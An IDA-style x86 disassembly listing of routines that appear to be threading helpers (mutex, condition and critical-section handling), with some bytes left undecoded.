loc_4313DD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 0
		call	sub_401627

locret_4313E7:				; CODE XREF: ___:004313BCj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_4313EC	dd offset loc_4313DD	; DATA XREF: ___:004313BEr
		dd offset loc_4313C5	; jump table for switch	statement
		dd offset loc_4313CD
		dd offset loc_4313D5
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431420:				; CODE XREF: ___:004017C1j
		mov	eax, dword_5103B4
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 90570A75h, 808EC6E8h,	4C48377h
		dd 7E89016Ah, 99FE814h,	0C483FFFDh, 0C35E5F04h,	3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431470	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_5108C0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_43149B
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_43149B
		push	eax
		call	near ptr 27806B2h
		nop
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4314A0


loc_43149B:				; CODE XREF: sub_431470+14j
					; sub_431470+1Bj
		mov	esi, 3


loc_4314A0:				; CODE XREF: sub_431470+29j
		push	offset dword_5108C0
		nop
		call	near ptr 7C9010EDh
		test	esi, esi
		jnz	short loc_4314BC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_4314BE


loc_4314BC:				; CODE XREF: sub_431470+3Dj
		mov	eax, esi


loc_4314BE:				; CODE XREF: sub_431470+4Aj
		pop	esi
		retn
sub_431470	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4314E0:				; CODE XREF: ___:00401654j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_431531
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_431531
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_431511
		lea	eax, [esi+4]
		push	eax
		nop
		call	near ptr 278061Bh
		test	eax, eax
		jnz	short loc_431517
		call	edi	; _errno
		mov	dword ptr [esi], 1


loc_431511:				; CODE XREF: ___:004314F9j
					; ___:0043151Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431517:				; CODE XREF: ___:00431507j
		cmp	dword ptr [esi], 0
		jnz	short loc_431511
		mov	edi, dword_5118D8


loc_431522:				; CODE XREF: ___:00431529j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_431522
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431531:				; CODE XREF: ___:004314E9j
					; ___:004314F1j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431560	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_5103B4
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_431560	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 234EA68h, 187C1D8Bh
		dd 26A0051h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 7CE89050h
		dd 500237EDh, 9050D3FFh, 34EAD7E8h, 5BC08502h, 0E8560E75h
		dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 90510F8Bh, 34F0D9E8h
		dd 28468902h, 3B4158Bh,	52560051h, 0FD0B10E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431630	proc near		; CODE XREF: sub_401A64j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_43164E
		test	eax, eax
		jz	short loc_431648
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_43164E


loc_431648:				; CODE XREF: sub_431630+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43164E:				; CODE XREF: sub_431630+Aj
					; sub_431630+16j
		xor	eax, eax
		retn
sub_431630	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431670:				; CODE XREF: ___:0040200Ej
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43167E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43167E:				; CODE XREF: ___:00431676j
		mov	dword_5103C4, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4316A0:				; CODE XREF: ___:00401564j
		mov	eax, dword_5103C4
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4316C0	proc near		; CODE XREF: sub_401B27j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4316E2
		push	84h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_431729


loc_4316E2:				; CODE XREF: sub_4316C0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		call	near ptr 2770C3Fh
		nop
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_431729
		push	esi
		call	sub_401BD1
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431729:				; CODE XREF: sub_4316C0+20j
					; sub_4316C0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_4316C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431750	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	esi, dword_447708
		cmp	esi, 1
		jz	short loc_431785
		mov	eax, [esi+8]
		push	offset dword_5108C0
		mov	dword_447708, eax
		mov	dword ptr [esi+8], 0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431785:				; CODE XREF: sub_431750+15j
		push	offset dword_5108C0
		xor	esi, esi
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431750	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317C0	proc near		; CODE XREF: sub_401BD1j

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_447708
		push	offset dword_5108C0
		mov	[edx+8], eax
		mov	dword_447708, edx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		retn
sub_4317C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431810	proc near		; CODE XREF: sub_40164Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_431830
sub_431810	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431830	proc near		; CODE XREF: sub_431810+7p
					; sub_431950+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_431830	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_431866
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43186E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43186E
		mov	edi, 2
		jmp	short loc_43186E
; ---------------------------------------------------------------------------


loc_431866:				; CODE XREF: ___:0043184Bj
		mov	dword ptr [esp+0Ch], 0


loc_43186E:				; CODE XREF: ___:00431852j
					; ___:0043185Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		nop
		call	near ptr 2770A15h
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_4318F9
		dec	ecx
		jz	short loc_4318A4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318A4:				; CODE XREF: ___:00431889j
		mov	eax, [esp+0Ch]
		push	eax
		nop
		call	near ptr 279073Dh
		test	esi, esi
		jz	short loc_4318EE
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_4318E5
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4318E5:				; CODE XREF: ___:004318C9j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_4318EE:				; CODE XREF: ___:004318B1j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318F9:				; CODE XREF: ___:00431886j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431950	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_431830
sub_431950	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431980	proc near		; CODE XREF: sub_401C17j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510920
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4319B4
		push	esi
		push	ecx
		call	sub_4021BC
		add	esp, 8
		mov	esi, eax
		push	offset dword_510920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4319B4:				; CODE XREF: sub_431980+17j
		test	eax, eax
		jnz	short loc_4319BD
		mov	esi, 16h


loc_4319BD:				; CODE XREF: sub_431980+36j
		push	offset dword_510920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4319F0	proc near		; CODE XREF: sub_4021BCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_431A04
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A04:				; CODE XREF: sub_4319F0+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_431A1F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_431A1F
		cmp	dword ptr [eax], 1
		jnz	short loc_431A1F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A1F:				; CODE XREF: sub_4319F0+1Aj
					; sub_4319F0+20j ...
		push	esi
		push	2Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431A44
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A44:				; CODE XREF: sub_4319F0+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_431A60
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_431A60
		mov	edi, [edi+4]
		jmp	short loc_431A62
; ---------------------------------------------------------------------------


loc_431A60:				; CODE XREF: sub_4319F0+63j
					; sub_4319F0+69j
		xor	edi, edi


loc_431A62:				; CODE XREF: sub_4319F0+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_431A9D
		push	esi
		mov	ebp, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A9D:				; CODE XREF: sub_4319F0+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		nop
		call	near ptr 27B0000h
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_4319F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B00	proc near		; CODE XREF: sub_402252j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_431BE0
		mov	eax, [edi]
		test	eax, eax
		jz	loc_431BE0
		cmp	eax, 0FFFFFFFFh
		jz	loc_431BA5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_401785
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_431BDB
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_431B97
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_431B90
		add	edx, 10h
		push	edx
		call	sub_401690
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		nop
		call	near ptr 27A08AFh
		mov	ecx, [esp+8+arg_0]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B90:				; CODE XREF: sub_431B00+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B97:				; CODE XREF: sub_431B00+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BA5:				; CODE XREF: sub_431B00+1Dj
		push	offset dword_510920
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_431BCB
		push	offset dword_510920
		mov	dword ptr [edi], 0
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BCB:				; CODE XREF: sub_431B00+B3j
		push	offset dword_510920
		mov	esi, 10h
		call	near ptr 7C9010EDh
		nop


loc_431BDB:				; CODE XREF: sub_431B00+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BE0:				; CODE XREF: sub_431B00+Aj
					; sub_431B00+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C30	proc near		; CODE XREF: sub_401A1Ej

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_431C53
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431C53:				; CODE XREF: sub_431C30+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_431C30	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C80	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431CA1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431CA1
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CA1:				; CODE XREF: sub_431C80+9j
					; sub_431C80+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_431C80	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431CC0:				; CODE XREF: ___:00401BBDj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431CDD
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431CDD
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431CDD
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431CDD:				; CODE XREF: ___:00431CC6j
					; ___:00431CCCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431D00:				; CODE XREF: ___:00401906j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431D2A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_431D2A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_431D1E
		test	eax, eax
		jnz	short loc_431D2A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_431D1E:				; CODE XREF: ___:00431D15j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_431D2A:				; CODE XREF: ___:00431D06j
					; ___:00431D0Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D40	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D61
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D61
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_431D61
		cmp	edx, 2
		jg	short loc_431D61
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_431D61:				; CODE XREF: sub_431D40+8j
					; sub_431D40+Ej ...
		mov	eax, 16h
		retn
sub_431D40	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D80	proc near		; CODE XREF: sub_4018CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D9E
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D9E
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_431D9E
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_431D9E:				; CODE XREF: sub_431D80+8j
					; sub_431D80+Ej ...
		mov	eax, 16h
		retn
sub_431D80	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431DC0	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_431E77
		mov	eax, [esi]
		test	eax, eax
		jz	loc_431E77
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431DF1
		push	esi
		call	sub_401C17
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_431DF1
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431DF1:				; CODE XREF: sub_431DC0+1Dj
					; sub_431DC0+2Cj
		mov	esi, [esi]
		push	esi
		nop
		call	near ptr 278061Bh
		test	eax, eax
		jnz	short loc_431E1A


loc_431DFE:				; CODE XREF: sub_431DC0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_431E12
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_431E12:				; CODE XREF: sub_431DC0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E1A:				; CODE XREF: sub_431DC0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431E5A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 0EA71E890h
		dd 7E830235h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E5A:				; CODE XREF: sub_431DC0+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_431EB0
		add	esp, 4
		test	eax, eax
		jz	short loc_431DFE
		nop
		call	near ptr 77C1F2BCh
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E77:				; CODE XREF: sub_431DC0+Aj
					; sub_431DC0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431DC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EB0	proc near		; CODE XREF: sub_431DC0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_431ECA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 27905ECh
		test	eax, eax
		jnz	short loc_431ECA
		retn
; ---------------------------------------------------------------------------


loc_431ECA:				; CODE XREF: sub_431EB0+6j
					; sub_431EB0+17j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_431EB0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EF0	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_432088
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432088
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431F21
		push	esi
		call	sub_401C17
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431F21
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F21:				; CODE XREF: sub_431EF0+1Dj
					; sub_431EF0+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 278061Bh
		test	eax, eax
		jnz	short loc_431F52


loc_431F30:				; CODE XREF: sub_431EF0+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F52:				; CODE XREF: sub_431EF0+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431F96
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 0E939E890h
		dd 7E830235h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F96:				; CODE XREF: sub_431EF0+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_431FAA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FAA:				; CODE XREF: sub_431EF0+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_432100
		add	esp, 8
		sub	eax, 0
		jz	loc_43206A
		dec	eax
		jz	short loc_432034
		dec	eax
		jz	short loc_431FD5
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FD5:				; CODE XREF: sub_431EF0+D4j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_432007
		nop
		call	near ptr 27908AFh
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432007:				; CODE XREF: sub_431EF0+101j
		nop
		call	near ptr 27908AFh
		test	eax, eax
		jl	short loc_432026
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432026
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]


loc_432026:				; CODE XREF: sub_431EF0+11Fj
					; sub_431EF0+12Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432034:				; CODE XREF: sub_431EF0+D1j
		lea	ebx, [esi+14h]
		push	ebx
		call	near ptr 7C901005h
		nop
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_43205A
		push	esi
		call	near ptr 27908AFh
		nop
		mov	ebp, 274Ch


loc_43205A:				; CODE XREF: sub_431EF0+15Cj
		push	ebx
		call	near ptr 7C9010EDh
		nop
		test	edi, edi
		jnz	short loc_432081
		jmp	loc_431F30
; ---------------------------------------------------------------------------


loc_43206A:				; CODE XREF: sub_431EF0+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43207E:				; CODE XREF: sub_431EF0+4Dj
					; sub_431EF0+187j
		mov	[esi+0Ch], eax


loc_432081:				; CODE XREF: sub_431EF0+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432088:				; CODE XREF: sub_431EF0+Aj
					; sub_431EF0+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_431EF0	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432100	proc near		; CODE XREF: sub_431EF0+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_43219E
